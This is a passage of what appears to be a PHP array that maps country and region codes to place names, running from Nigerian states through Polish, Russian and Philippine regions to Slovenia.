Adamawa', 'NG-21' => 'Nigeria: Akwa Ibom', 'NG-25' => 'Nigeria: Anambra', 'NG-46' => 'Nigeria: Bauchi', 'NG-52' => 'Nigeria: Bayelsa', 'NG-26' => 'Nigeria: Benue', 'NG-27' => 'Nigeria: Borno', 'NG-22' => 'Nigeria: Cross River', 'NG-36' => 'Nigeria: Delta', 'NG-53' => 'Nigeria: Ebonyi', 'NG-37' => 'Nigeria: Edo', 'NG-54' => 'Nigeria: Ekiti', 'NG-47' => 'Nigeria: Enugu', 'NG-55' => 'Nigeria: Gombe', 'NG-28' => 'Nigeria: Imo', 'NG-39' => 'Nigeria: Jigawa', 'NG-23' => 'Nigeria: Kaduna', 'NG-29' => 'Nigeria: Kano', 'NG-24' => 'Nigeria: Katsina', 'NG-40' => 'Nigeria: Kebbi', 'NG-41' => 'Nigeria: Kogi', 'NG-30' => 'Nigeria: Kwara', 'NG-05' => 'Nigeria: Lagos', 'NG-56' => 'Nigeria: Nassarawa', 'NG-31' => 'Nigeria: Niger', 'NG-16' => 'Nigeria: Ogun', 'NG-48' => 'Nigeria: Ondo', 'NG-42' => 'Nigeria: Osun', 'NG-32' => 'Nigeria: Oyo', 'NG-49' => 'Nigeria: Plateau', 'NG-50' => 'Nigeria: Rivers', 'NG-51' => 'Nigeria: Sokoto', 'NG-43' => 'Nigeria: Taraba', 'NG-44' => 'Nigeria: Yobe', 'NG-57' => 'Nigeria: Zamfara', '--KP' => '','-KP' => 'North Korea', 'KP-01' => 'North Korea: Chagang-do', 'KP-17' => 'North Korea: Hamgyong-bukto', 'KP-03' => 'North Korea: Hamgyong-namdo', 'KP-07' => 'North Korea: Hwanghae-bukto', 'KP-06' => 'North Korea: Hwanghae-namdo', 'KP-08' => 'North Korea: Kaesong-si', 'KP-09' => 'North Korea: Kangwon-do', 'KP-18' => 'North Korea: Najin Sonbong-si', 'KP-14' => 'North Korea: Namp\'o-si', 'KP-11' => 'North Korea: P\'yongan-bukto', 'KP-15' => 'North Korea: P\'yongan-namdo', 'KP-12' => 'North Korea: P\'yongyang-si', 'KP-13' => 'North Korea: Yanggang-do', '--NO' => '','-NO' => 'Norway', 'NO-01' => 'Norway: Akershus', 'NO-02' => 'Norway: Aust-Agder', 'NO-04' => 'Norway: Buskerud', 'NO-05' => 'Norway: Finnmark', 'NO-06' => 'Norway: Hedmark', 'NO-07' => 'Norway: Hordaland', 'NO-08' => 'Norway: More og Romsdal', 'NO-09' => 'Norway: Nordland', 'NO-10' => 'Norway: Nord-Trondelag', 'NO-11' => 'Norway: Oppland', 'NO-12' => 'Norway: Oslo', 'NO-13' => 'Norway: Ostfold', 'NO-14' => 'Norway: Rogaland', 'NO-15' => 'Norway: Sogn og Fjordane', 'NO-16' => 'Norway: Sor-Trondelag', 'NO-17' => 'Norway: Telemark', 'NO-18' => 'Norway: Troms', 'NO-19' => 'Norway: Vest-Agder', 'NO-20' => 'Norway: Vestfold', '--OM' => '','-OM' => 'Oman', 'OM-01' => 'Oman: Ad Dakhiliyah', 'OM-02' => 'Oman: Al Batinah', 'OM-03' => 'Oman: Al Wusta', 'OM-04' => 'Oman: Ash Sharqiyah', 'OM-05' => 'Oman: Az Zahirah', 'OM-06' => 'Oman: Masqat', 'OM-07' => 'Oman: Musandam', 'OM-08' => 'Oman: Zufar', '--PK' => '','-PK' => 'Pakistan', 'PK-06' => 'Pakistan: Azad Kashmir', 'PK-02' => 'Pakistan: Balochistan', 'PK-01' => 'Pakistan: Federally Administered Tribal Areas', 'PK-08' => 'Pakistan: Islamabad', 'PK-07' => 'Pakistan: Northern Areas', 'PK-03' => 'Pakistan: North-West Frontier', 'PK-04' => 'Pakistan: Punjab', 'PK-05' => 'Pakistan: Sindh', '--PA' => '','-PA' => 'Panama', 'PA-01' => 'Panama: Bocas del Toro', 'PA-02' => 'Panama: Chiriqui', 'PA-03' => 'Panama: Cocle', 'PA-04' => 'Panama: Colon', 'PA-05' => 'Panama: Darien', 'PA-06' => 'Panama: Herrera', 'PA-07' => 'Panama: Los Santos', 'PA-08' => 'Panama: Panama', 'PA-09' => 'Panama: San Blas', 'PA-10' => 'Panama: Veraguas', '--PG' => '','-PG' => 'Papua New Guinea', 'PG-01' => 'Papua New Guinea: Central', 'PG-08' => 'Papua New Guinea: Chimbu', 'PG-10' => 'Papua New Guinea: East New Britain', 'PG-11' => 'Papua New Guinea: East Sepik', 'PG-09' => 'Papua New Guinea: Eastern Highlands', 'PG-19' => 'Papua New Guinea: Enga', 'PG-02' => 'Papua New Guinea: Gulf', 'PG-12' => 'Papua New Guinea: Madang', 'PG-13' => 'Papua New Guinea: Manus', 'PG-03' => 'Papua New Guinea: Milne Bay', 'PG-14' => 'Papua New Guinea: Morobe', 'PG-20' => 'Papua New Guinea: National Capital', 'PG-15' => 'Papua New Guinea: New Ireland', 'PG-07' => 'Papua New Guinea: North Solomons', 'PG-04' => 'Papua New Guinea: Northern', 'PG-18' => 'Papua New Guinea: Sandaun', 'PG-05' => 'Papua New Guinea: Southern Highlands', 'PG-17' => 'Papua New Guinea: West New Britain', 'PG-16' => 'Papua New Guinea: Western Highlands', 'PG-06' => 'Papua New Guinea: Western', '--PY' => '','-PY' => 'Paraguay', 'PY-23' => 'Paraguay: Alto Paraguay', 'PY-01' => 'Paraguay: Alto Parana', 'PY-02' => 'Paraguay: Amambay', 'PY-03' => 'Paraguay: Boqueron', 'PY-04' => 'Paraguay: Caaguazu', 'PY-05' => 'Paraguay: Caazapa', 'PY-19' => 'Paraguay: Canindeyu', 'PY-06' => 'Paraguay: Central', 'PY-20' => 'Paraguay: Chaco', 'PY-07' => 'Paraguay: Concepcion', 'PY-08' => 'Paraguay: Cordillera', 'PY-10' => 'Paraguay: Guaira', 'PY-11' => 'Paraguay: Itapua', 'PY-12' => 'Paraguay: Misiones', 'PY-13' => 'Paraguay: Neembucu', 'PY-21' => 'Paraguay: Nueva Asuncion', 'PY-15' => 'Paraguay: Paraguari', 'PY-16' => 'Paraguay: Presidente Hayes', 'PY-17' => 'Paraguay: San Pedro', '--PE' => '','-PE' => 'Peru', 'PE-01' => 'Peru: Amazonas', 'PE-02' => 'Peru: Ancash', 'PE-03' => 'Peru: Apurimac', 'PE-04' => 'Peru: Arequipa', 'PE-05' => 'Peru: Ayacucho', 'PE-06' => 'Peru: Cajamarca', 'PE-07' => 'Peru: Callao', 'PE-08' => 'Peru: Cusco', 'PE-09' => 'Peru: Huancavelica', 'PE-10' => 'Peru: Huanuco', 'PE-11' => 'Peru: Ica', 'PE-12' => 'Peru: Junin', 'PE-13' => 'Peru: La Libertad', 'PE-14' => 'Peru: Lambayeque', 'PE-15' => 'Peru: Lima', 'PE-16' => 'Peru: Loreto', 'PE-17' => 'Peru: Madre de Dios', 'PE-18' => 'Peru: Moquegua', 'PE-19' => 'Peru: Pasco', 'PE-20' => 'Peru: Piura', 'PE-21' => 'Peru: Puno', 'PE-22' => 'Peru: San Martin', 'PE-23' => 'Peru: Tacna', 'PE-24' => 'Peru: Tumbes', 'PE-25' => 'Peru: Ucayali', '--PH' => '','-PH' => 'Philippines', 'PH-01' => 'Philippines: Abra', 'PH-02' => 'Philippines: Agusan del Norte', 'PH-03' => 'Philippines: Agusan del Sur', 'PH-04' => 'Philippines: Aklan', 'PH-05' => 'Philippines: Albay', 'PH-A1' => 'Philippines: Angeles', 'PH-06' => 'Philippines: Antique', 'PH-G8' => 'Philippines: Aurora', 'PH-A2' => 'Philippines: Bacolod', 'PH-A3' => 'Philippines: Bago', 'PH-A4' => 'Philippines: Baguio', 'PH-A5' => 'Philippines: Bais', 'PH-A6' => 'Philippines: Basilan City', 'PH-22' => 'Philippines: Basilan', 'PH-07' => 'Philippines: Bataan', 'PH-08' => 'Philippines: Batanes', 'PH-A7' => 'Philippines: Batangas City', 'PH-09' => 'Philippines: Batangas', 'PH-10' => 'Philippines: Benguet', 'PH-11' => 'Philippines: Bohol', 'PH-12' => 'Philippines: Bukidnon', 'PH-13' => 'Philippines: Bulacan', 'PH-A8' => 'Philippines: Butuan', 'PH-A9' => 'Philippines: Cabanatuan', 'PH-B1' => 'Philippines: Cadiz', 'PH-B2' => 'Philippines: Cagayan de Oro', 'PH-14' => 'Philippines: Cagayan', 'PH-B3' => 'Philippines: Calbayog', 'PH-B4' => 'Philippines: Caloocan', 'PH-15' => 'Philippines: Camarines Norte', 'PH-16' => 'Philippines: Camarines Sur', 'PH-17' => 'Philippines: Camiguin', 'PH-B5' => 'Philippines: Canlaon', 'PH-18' => 'Philippines: Capiz', 'PH-19' => 'Philippines: Catanduanes', 'PH-B6' => 'Philippines: Cavite City', 'PH-20' => 'Philippines: Cavite', 'PH-B7' => 'Philippines: Cebu City', 'PH-21' => 'Philippines: Cebu', 'PH-B8' => 'Philippines: Cotabato', 'PH-B9' => 'Philippines: Dagupan', 'PH-C1' => 'Philippines: Danao', 'PH-C2' => 'Philippines: Dapitan', 'PH-C3' => 'Philippines: Davao City', 'PH-25' => 'Philippines: Davao del Sur', 'PH-26' => 'Philippines: Davao Oriental', 'PH-24' => 'Philippines: Davao', 'PH-C4' => 'Philippines: Dipolog', 'PH-C5' => 'Philippines: Dumaguete', 'PH-23' => 'Philippines: Eastern Samar', 'PH-C6' => 'Philippines: General Santos', 'PH-C7' => 'Philippines: Gingoog', 'PH-27' => 'Philippines: Ifugao', 'PH-C8' => 'Philippines: Iligan', 'PH-28' => 'Philippines: Ilocos Norte', 'PH-29' => 'Philippines: Ilocos Sur', 'PH-C9' => 'Philippines: Iloilo City', 'PH-30' => 'Philippines: Iloilo', 'PH-D1' => 'Philippines: Iriga', 'PH-31' => 'Philippines: Isabela', 'PH-32' => 'Philippines: Kalinga-Apayao', 'PH-D2' => 'Philippines: La Carlota', 'PH-36' => 'Philippines: La Union', 'PH-33' => 'Philippines: Laguna', 'PH-34' => 'Philippines: Lanao del Norte', 'PH-35' => 'Philippines: Lanao del Sur', 'PH-D3' => 'Philippines: Laoag', 'PH-D4' => 'Philippines: Lapu-Lapu', 'PH-D5' => 'Philippines: Legaspi', 'PH-37' => 'Philippines: Leyte', 'PH-D6' => 'Philippines: Lipa', 'PH-D7' => 'Philippines: Lucena', 'PH-56' => 'Philippines: Maguindanao', 'PH-D8' => 'Philippines: Mandaue', 'PH-D9' => 'Philippines: Manila', 'PH-E1' => 'Philippines: Marawi', 'PH-38' => 'Philippines: Marinduque', 'PH-39' => 'Philippines: Masbate', 'PH-40' => 'Philippines: Mindoro Occidental', 'PH-41' => 'Philippines: Mindoro Oriental', 'PH-42' => 'Philippines: Misamis Occidental', 'PH-43' => 'Philippines: Misamis Oriental', 'PH-44' => 'Philippines: Mountain', 'PH-E2' => 'Philippines: Naga', 'PH-H3' => 'Philippines: Negros Occidental', 'PH-46' => 'Philippines: Negros Oriental', 'PH-57' => 'Philippines: North Cotabato', 'PH-67' => 'Philippines: Northern Samar', 'PH-47' => 'Philippines: Nueva Ecija', 'PH-48' => 'Philippines: Nueva Vizcaya', 'PH-E3' => 'Philippines: Olongapo', 'PH-E4' => 'Philippines: Ormoc', 'PH-E5' => 'Philippines: Oroquieta', 'PH-E6' => 'Philippines: Ozamis', 'PH-E7' => 'Philippines: Pagadian', 'PH-49' => 'Philippines: Palawan', 'PH-E8' => 'Philippines: Palayan', 'PH-50' => 'Philippines: Pampanga', 'PH-51' => 'Philippines: Pangasinan', 'PH-E9' => 'Philippines: Pasay', 'PH-F1' => 'Philippines: Puerto Princesa', 'PH-F2' => 'Philippines: Quezon City', 'PH-H2' => 'Philippines: Quezon', 'PH-68' => 'Philippines: Quirino', 'PH-53' => 'Philippines: Rizal', 'PH-54' => 'Philippines: Romblon', 'PH-F3' => 'Philippines: Roxas', 'PH-55' => 'Philippines: Samar', 'PH-F4' => 'Philippines: San Carlos', 'PH-F5' => 'Philippines: San Carlos', 'PH-F6' => 'Philippines: San Jose', 'PH-F7' => 'Philippines: San Pablo', 'PH-F8' => 'Philippines: Silay', 'PH-69' => 'Philippines: Siquijor', 'PH-58' => 'Philippines: Sorsogon', 'PH-70' => 'Philippines: South Cotabato', 'PH-59' => 'Philippines: Southern Leyte', 'PH-71' => 'Philippines: Sultan Kudarat', 'PH-60' => 'Philippines: Sulu', 'PH-61' => 'Philippines: Surigao del Norte', 'PH-62' => 'Philippines: Surigao del Sur', 'PH-F9' => 'Philippines: Surigao', 'PH-G1' => 'Philippines: Tacloban', 'PH-G2' => 'Philippines: Tagaytay', 'PH-G3' => 'Philippines: Tagbilaran', 'PH-G4' => 'Philippines: Tangub', 'PH-63' => 'Philippines: Tarlac', 'PH-72' => 'Philippines: Tawitawi', 'PH-G5' => 'Philippines: Toledo', 'PH-G6' => 'Philippines: Trece Martires', 'PH-64' => 'Philippines: Zambales', 'PH-65' => 'Philippines: Zamboanga del Norte', 'PH-66' => 'Philippines: Zamboanga del Sur', 'PH-G7' => 'Philippines: Zamboanga', '--PL' => '','-PL' => 'Poland', 'PL-23' => 'Poland: Biala Podlaska', 'PL-24' => 'Poland: Bialystok', 'PL-25' => 'Poland: Bielsko', 'PL-26' => 'Poland: Bydgoszcz', 'PL-27' => 'Poland: Chelm', 'PL-28' => 'Poland: Ciechanow', 'PL-29' => 'Poland: Czestochowa', 'PL-72' => 'Poland: Dolnoslaskie', 'PL-30' => 'Poland: Elblag', 'PL-31' => 'Poland: Gdansk', 'PL-32' => 'Poland: Gorzow', 'PL-33' => 'Poland: Jelenia Gora', 'PL-34' => 'Poland: Kalisz', 'PL-35' => 'Poland: Katowice', 'PL-36' => 'Poland: Kielce', 'PL-37' => 'Poland: Konin', 'PL-38' => 'Poland: Koszalin', 'PL-39' => 'Poland: Krakow', 'PL-40' => 'Poland: Krosno', 'PL-73' => 'Poland: Kujawsko-Pomorskie', 'PL-41' => 'Poland: Legnica', 'PL-42' => 'Poland: Leszno', 'PL-43' => 'Poland: Lodz', 'PL-74' => 'Poland: Lodzkie', 'PL-44' => 'Poland: Lomza', 'PL-75' => 'Poland: Lubelskie', 'PL-45' => 'Poland: Lublin', 'PL-76' => 'Poland: Lubuskie', 'PL-77' => 'Poland: Malopolskie', 'PL-78' => 'Poland: Mazowieckie', 'PL-46' => 'Poland: Nowy Sacz', 'PL-47' => 'Poland: Olsztyn', 'PL-48' => 'Poland: Opole', 'PL-79' => 'Poland: Opolskie', 'PL-49' => 'Poland: Ostroleka', 'PL-50' => 'Poland: Pila', 'PL-51' => 'Poland: Piotrkow', 'PL-52' => 'Poland: Plock', 'PL-80' => 'Poland: Podkarpackie', 'PL-81' => 'Poland: Podlaskie', 'PL-82' => 'Poland: Pomorskie', 'PL-53' => 'Poland: Poznan', 'PL-54' => 'Poland: Przemysl', 'PL-55' => 'Poland: Radom', 'PL-56' => 'Poland: Rzeszow', 'PL-57' => 'Poland: Siedlce', 'PL-58' => 'Poland: Sieradz', 'PL-59' => 'Poland: Skierniewice', 'PL-83' => 'Poland: Slaskie', 'PL-60' => 'Poland: Slupsk', 'PL-61' => 'Poland: Suwalki', 'PL-84' => 'Poland: Swietokrzyskie', 'PL-62' => 'Poland: Szczecin', 'PL-63' => 'Poland: Tarnobrzeg', 'PL-64' => 'Poland: Tarnow', 'PL-65' => 'Poland: Torun', 'PL-66' => 'Poland: Walbrzych', 'PL-85' => 'Poland: Warminsko-Mazurskie', 'PL-67' => 'Poland: Warszawa', 'PL-86' => 'Poland: Wielkopolskie', 'PL-68' => 'Poland: Wloclawek', 'PL-69' => 'Poland: Wroclaw', 'PL-87' => 'Poland: Zachodniopomorskie', 'PL-70' => 'Poland: Zamosc', 'PL-71' => 'Poland: Zielona Gora', '--PT' => '','-PT' => 'Portugal', 'PT-02' => 'Portugal: Aveiro', 'PT-23' => 'Portugal: Azores', 'PT-03' => 'Portugal: Beja', 'PT-04' => 'Portugal: Braga', 'PT-05' => 'Portugal: Braganca', 'PT-06' => 'Portugal: Castelo Branco', 'PT-07' => 'Portugal: Coimbra', 'PT-08' => 'Portugal: Evora', 'PT-09' => 'Portugal: Faro', 'PT-11' => 'Portugal: Guarda', 'PT-13' => 'Portugal: Leiria', 'PT-14' => 'Portugal: Lisboa', 'PT-10' => 'Portugal: Madeira', 'PT-16' => 'Portugal: Portalegre', 'PT-17' => 'Portugal: Porto', 'PT-18' => 'Portugal: Santarem', 'PT-19' => 'Portugal: Setubal', 'PT-20' => 'Portugal: Viana do Castelo', 'PT-21' => 'Portugal: Vila Real', 'PT-22' => 'Portugal: Viseu', '--QA' => '','-QA' => 'Qatar', 'QA-01' => 'Qatar: Ad Dawhah', 'QA-02' => 'Qatar: Al Ghuwariyah', 'QA-03' => 'Qatar: Al Jumaliyah', 'QA-04' => 'Qatar: Al Khawr', 'QA-10' => 'Qatar: Al Wakrah', 'QA-06' => 'Qatar: Ar Rayyan', 'QA-11' => 'Qatar: Jariyan al Batnah', 'QA-08' => 'Qatar: Madinat ach Shamal', 'QA-12' => 'Qatar: Umm Sa\'id', 'QA-09' => 'Qatar: Umm Salal', '--RO' => '','-RO' => 'Romania', 'RO-01' => 'Romania: Alba', 'RO-02' => 'Romania: Arad', 'RO-03' => 'Romania: Arges', 'RO-04' => 'Romania: Bacau', 'RO-05' => 'Romania: Bihor', 'RO-06' => 'Romania: Bistrita-Nasaud', 'RO-07' => 'Romania: Botosani', 'RO-08' => 'Romania: Braila', 'RO-09' => 'Romania: Brasov', 'RO-10' => 'Romania: Bucuresti', 'RO-11' => 'Romania: Buzau', 'RO-41' => 'Romania: Calarasi', 'RO-12' => 'Romania: Caras-Severin', 'RO-13' => 'Romania: Cluj', 'RO-14' => 'Romania: Constanta', 'RO-15' => 'Romania: Covasna', 'RO-16' => 'Romania: Dambovita', 'RO-17' => 'Romania: Dolj', 'RO-18' => 'Romania: Galati', 'RO-42' => 'Romania: Giurgiu', 'RO-19' => 'Romania: Gorj', 'RO-20' => 'Romania: Harghita', 'RO-21' => 'Romania: Hunedoara', 'RO-22' => 'Romania: Ialomita', 'RO-23' => 'Romania: Iasi', 'RO-43' => 'Romania: Ilfov', 'RO-25' => 'Romania: Maramures', 'RO-26' => 'Romania: Mehedinti', 'RO-27' => 'Romania: Mures', 'RO-28' => 'Romania: Neamt', 'RO-29' => 'Romania: Olt', 'RO-30' => 'Romania: Prahova', 'RO-31' => 'Romania: Salaj', 'RO-32' => 'Romania: Satu Mare', 'RO-33' => 'Romania: Sibiu', 'RO-34' => 'Romania: Suceava', 'RO-35' => 'Romania: Teleorman', 'RO-36' => 'Romania: Timis', 'RO-37' => 'Romania: Tulcea', 'RO-39' => 'Romania: Valcea', 'RO-38' => 'Romania: Vaslui', 'RO-40' => 'Romania: Vrancea', '--RU' => '','-RU' => 'Russian Federation', 'RU-01' => 'Russian Federation: Adygeya', 'RU-02' => 'Russian Federation: Aginsky Buryatsky AO', 'RU-04' => 'Russian Federation: Altaisky krai', 'RU-05' => 'Russian Federation: Amur', 'RU-06' => 'Russian Federation: Arkhangel\'sk', 'RU-07' => 'Russian Federation: Astrakhan\'', 'RU-08' => 'Russian Federation: Bashkortostan', 'RU-09' => 'Russian Federation: Belgorod', 'RU-10' => 'Russian Federation: Bryansk', 'RU-11' => 'Russian Federation: Buryat', 'RU-12' => 'Russian Federation: Chechnya', 'RU-13' => 'Russian Federation: Chelyabinsk', 'RU-14' => 'Russian Federation: Chita', 'RU-15' => 'Russian Federation: Chukot', 'RU-16' => 'Russian Federation: Chuvashia', 'RU-17' => 'Russian Federation: Dagestan', 'RU-18' => 'Russian Federation: Evenk', 'RU-03' => 'Russian Federation: Gorno-Altay', 'RU-19' => 'Russian Federation: Ingush', 'RU-20' => 'Russian Federation: Irkutsk', 'RU-21' => 'Russian Federation: Ivanovo', 'RU-22' => 'Russian Federation: Kabardin-Balkar', 'RU-23' => 'Russian Federation: Kaliningrad', 'RU-24' => 'Russian Federation: Kalmyk', 'RU-25' => 'Russian Federation: Kaluga', 'RU-26' => 'Russian Federation: Kamchatka', 'RU-27' => 'Russian Federation: Karachay-Cherkess', 'RU-28' => 'Russian Federation: Karelia', 'RU-29' => 'Russian Federation: Kemerovo', 'RU-30' => 'Russian Federation: Khabarovsk', 'RU-31' => 'Russian Federation: Khakass', 'RU-32' => 'Russian Federation: Khanty-Mansiy', 'RU-33' => 'Russian Federation: Kirov', 'RU-34' => 'Russian Federation: Komi', 'RU-35' => 'Russian Federation: Komi-Permyak', 'RU-36' => 'Russian Federation: Koryak', 'RU-37' => 'Russian Federation: Kostroma', 'RU-38' => 'Russian Federation: Krasnodar', 'RU-39' => 'Russian Federation: Krasnoyarsk', 'RU-40' => 'Russian Federation: Kurgan', 'RU-41' => 'Russian Federation: Kursk', 'RU-42' => 'Russian Federation: Leningrad', 'RU-43' => 'Russian Federation: Lipetsk', 'RU-44' => 'Russian Federation: Magadan', 'RU-45' => 'Russian Federation: Mariy-El', 'RU-46' => 'Russian Federation: Mordovia', 'RU-48' => 'Russian Federation: Moscow City', 'RU-47' => 'Russian Federation: Moskva', 'RU-49' => 'Russian Federation: Murmansk', 'RU-50' => 'Russian Federation: Nenets', 'RU-51' => 'Russian Federation: Nizhegorod', 'RU-68' => 'Russian Federation: North Ossetia', 'RU-52' => 'Russian Federation: Novgorod', 'RU-53' => 'Russian Federation: Novosibirsk', 'RU-54' => 'Russian Federation: Omsk', 'RU-56' => 'Russian Federation: Orel', 'RU-55' => 'Russian Federation: Orenburg', 'RU-57' => 'Russian Federation: Penza', 'RU-58' => 'Russian Federation: Perm\'', 'RU-59' => 'Russian Federation: Primor\'ye', 'RU-60' => 'Russian Federation: Pskov', 'RU-61' => 'Russian Federation: Rostov', 'RU-62' => 'Russian Federation: Ryazan\'', 'RU-66' => 'Russian Federation: Saint Petersburg City', 'RU-63' => 'Russian Federation: Sakha', 'RU-64' => 'Russian Federation: Sakhalin', 'RU-65' => 'Russian Federation: Samara', 'RU-67' => 'Russian Federation: Saratov', 'RU-69' => 'Russian Federation: Smolensk', 'RU-70' => 'Russian Federation: Stavropol\'', 'RU-71' => 'Russian Federation: Sverdlovsk', 'RU-72' => 'Russian Federation: Tambovskaya oblast', 'RU-73' => 'Russian Federation: Tatarstan', 'RU-74' => 'Russian Federation: Taymyr', 'RU-75' => 'Russian Federation: Tomsk', 'RU-76' => 'Russian Federation: Tula', 'RU-79' => 'Russian Federation: Tuva', 'RU-77' => 'Russian Federation: Tver\'', 'RU-78' => 'Russian Federation: Tyumen\'', 'RU-80' => 'Russian Federation: Udmurt', 'RU-81' => 'Russian Federation: Ul\'yanovsk', 'RU-82' => 'Russian Federation: Ust-Orda Buryat', 'RU-83' => 'Russian Federation: Vladimir', 'RU-84' => 'Russian Federation: Volgograd', 'RU-85' => 'Russian Federation: Vologda', 'RU-86' => 'Russian Federation: Voronezh', 'RU-87' => 'Russian Federation: Yamal-Nenets', 'RU-88' => 'Russian Federation: Yaroslavl\'', 'RU-89' => 'Russian Federation: Yevrey', '--RW' => '','-RW' => 'Rwanda', 'RW-01' => 'Rwanda: Butare', 'RW-02' => 'Rwanda: Byumba', 'RW-03' => 'Rwanda: Cyangugu', 'RW-04' => 'Rwanda: Gikongoro', 'RW-05' => 'Rwanda: Gisenyi', 'RW-06' => 'Rwanda: Gitarama', 'RW-07' => 'Rwanda: Kibungo', 'RW-08' => 'Rwanda: Kibuye', 'RW-09' => 'Rwanda: Kigali', 'RW-10' => 'Rwanda: Ruhengeri', '--SH' => '','-SH' => 'Saint Helena', 'SH-01' => 'Saint Helena: Ascension', 'SH-02' => 'Saint Helena: Saint Helena', 'SH-03' => 'Saint Helena: Tristan da Cunha', '--KN' => '','-KN' => 'Saint Kitts and Nevis', 'KN-01' => 'Saint Kitts and Nevis: Christ Church Nichola Town', 'KN-02' => 'Saint Kitts and Nevis: Saint Anne Sandy Point', 'KN-03' => 'Saint Kitts and Nevis: Saint George Basseterre', 'KN-04' => 'Saint Kitts and Nevis: Saint George Gingerland', 'KN-05' => 'Saint Kitts and Nevis: Saint James Windward', 'KN-06' => 'Saint Kitts and Nevis: Saint John Capisterre', 'KN-07' => 'Saint Kitts and Nevis: Saint John Figtree', 'KN-08' => 'Saint Kitts and Nevis: Saint Mary Cayon', 'KN-09' => 'Saint Kitts and Nevis: Saint Paul Capisterre', 'KN-10' => 'Saint Kitts and Nevis: Saint Paul Charlestown', 'KN-11' => 'Saint Kitts and Nevis: Saint Peter Basseterre', 'KN-12' => 'Saint Kitts and Nevis: Saint Thomas Lowland', 'KN-13' => 'Saint Kitts and Nevis: Saint Thomas Middle Island', 'KN-15' => 'Saint Kitts and Nevis: Trinity Palmetto Point', '--LC' => '','-LC' => 'Saint Lucia', 'LC-01' => 'Saint Lucia: Anse-la-Raye', 'LC-03' => 'Saint Lucia: Castries', 'LC-04' => 'Saint Lucia: Choiseul', 'LC-02' => 'Saint Lucia: Dauphin', 'LC-05' => 'Saint Lucia: Dennery', 'LC-06' => 'Saint Lucia: Gros-Islet', 'LC-07' => 'Saint Lucia: Laborie', 'LC-08' => 'Saint Lucia: Micoud', 'LC-11' => 'Saint Lucia: Praslin', 'LC-09' => 'Saint Lucia: Soufriere', 'LC-10' => 'Saint Lucia: Vieux-Fort', '--VC' => '','-VC' => 'Saint Vincent and the Grenadines', 'VC-01' => 'Saint Vincent and the Grenadines: Charlotte', 'VC-06' => 'Saint Vincent and the Grenadines: Grenadines', 'VC-02' => 'Saint Vincent and the Grenadines: Saint Andrew', 'VC-03' => 'Saint Vincent and the Grenadines: Saint David', 'VC-04' => 'Saint Vincent and the Grenadines: Saint George', 'VC-05' => 'Saint Vincent and the Grenadines: Saint Patrick', '--WS' => '','-WS' => 'Samoa', 'WS-02' => 'Samoa: Aiga-i-le-Tai', 'WS-03' => 'Samoa: Atua', 'WS-04' => 'Samoa: Fa', 'WS-05' => 'Samoa: Gaga', 'WS-07' => 'Samoa: Gagaifomauga', 'WS-08' => 'Samoa: Palauli', 'WS-09' => 'Samoa: Satupa', 'WS-10' => 'Samoa: Tuamasaga', 'WS-06' => 'Samoa: Va', 'WS-11' => 'Samoa: Vaisigano', '--SM' => '','-SM' => 'San Marino', 'SM-01' => 'San Marino: Acquaviva', 'SM-06' => 'San Marino: Borgo Maggiore', 'SM-02' => 'San Marino: Chiesanuova', 'SM-03' => 'San Marino: Domagnano', 'SM-04' => 'San Marino: Faetano', 'SM-05' => 'San Marino: Fiorentino', 'SM-08' => 'San Marino: Monte Giardino', 'SM-07' => 'San Marino: San Marino', 'SM-09' => 'San Marino: Serravalle', '--ST' => '','-ST' => 'Sao Tome and Principe', 'ST-01' => 'Sao Tome and Principe: Principe', 'ST-02' => 'Sao Tome and Principe: Sao Tome', '--SA' => '','-SA' => 'Saudi Arabia', 'SA-02' => 'Saudi Arabia: Al Bahah', 'SA-15' => 'Saudi Arabia: Al Hudud ash Shamaliyah', 'SA-03' => 'Saudi Arabia: Al Jawf', 'SA-20' => 'Saudi Arabia: Al Jawf', 'SA-05' => 'Saudi Arabia: Al Madinah', 'SA-08' => 'Saudi Arabia: Al Qasim', 'SA-09' => 'Saudi Arabia: Al Qurayyat', 'SA-10' => 'Saudi Arabia: Ar Riyad', 'SA-06' => 'Saudi Arabia: Ash Sharqiyah', 'SA-13' => 'Saudi Arabia: Ha\'il', 'SA-17' => 'Saudi Arabia: Jizan', 'SA-14' => 'Saudi Arabia: Makkah', 'SA-16' => 'Saudi Arabia: Najran', 'SA-19' => 'Saudi Arabia: Tabuk', '--SN' => '','-SN' => 'Senegal', 'SN-01' => 'Senegal: Dakar', 'SN-03' => 'Senegal: Diourbel', 'SN-09' => 'Senegal: Fatick', 'SN-10' => 'Senegal: Kaolack', 'SN-11' => 'Senegal: Kolda', 'SN-08' => 'Senegal: Louga', 'SN-04' => 'Senegal: Saint-Louis', 'SN-05' => 'Senegal: Tambacounda', 'SN-07' => 'Senegal: Thies', 'SN-12' => 'Senegal: Ziguinchor', '--RS' => '','-RS' => 'Serbia', 'RS-01' => 'Serbia: Kosovo', 'RS-02' => 'Serbia: Vojvodina', '--SC' => '','-SC' => 'Seychelles', 'SC-01' => 'Seychelles: Anse aux Pins', 'SC-02' => 'Seychelles: Anse Boileau', 'SC-03' => 'Seychelles: Anse Etoile', 'SC-04' => 'Seychelles: Anse Louis', 'SC-05' => 'Seychelles: Anse Royale', 'SC-06' => 'Seychelles: Baie Lazare', 'SC-07' => 'Seychelles: Baie Sainte Anne', 'SC-08' => 'Seychelles: Beau Vallon', 'SC-09' => 'Seychelles: Bel Air', 'SC-10' => 'Seychelles: Bel Ombre', 'SC-11' => 'Seychelles: Cascade', 'SC-12' => 'Seychelles: Glacis', 'SC-13' => 'Seychelles: Grand\' Anse', 'SC-14' => 'Seychelles: Grand\' Anse', 'SC-15' => 'Seychelles: La Digue', 'SC-16' => 'Seychelles: La Riviere Anglaise', 'SC-17' => 'Seychelles: Mont Buxton', 'SC-18' => 'Seychelles: Mont Fleuri', 'SC-19' => 'Seychelles: Plaisance', 'SC-20' => 'Seychelles: Pointe La Rue', 'SC-21' => 'Seychelles: Port Glaud', 'SC-22' => 'Seychelles: Saint Louis', 'SC-23' => 'Seychelles: Takamaka', '--SL' => '','-SL' => 'Sierra Leone', 'SL-01' => 'Sierra Leone: Eastern', 'SL-02' => 'Sierra Leone: Northern', 'SL-03' => 'Sierra Leone: Southern', 'SL-04' => 'Sierra Leone: Western Area', '--SK' => '','-SK' => 'Slovakia', 'SK-01' => 'Slovakia: Banska Bystrica', 'SK-02' => 'Slovakia: Bratislava', 'SK-03' => 'Slovakia: Kosice', 'SK-04' => 'Slovakia: Nitra', 'SK-05' => 'Slovakia: Presov', 'SK-06' => 'Slovakia: Trencin', 'SK-07' => 'Slovakia: Trnava', 'SK-08' => 'Slovakia: Zilina', '--SI' => '','-SI' => 'Slovenia', 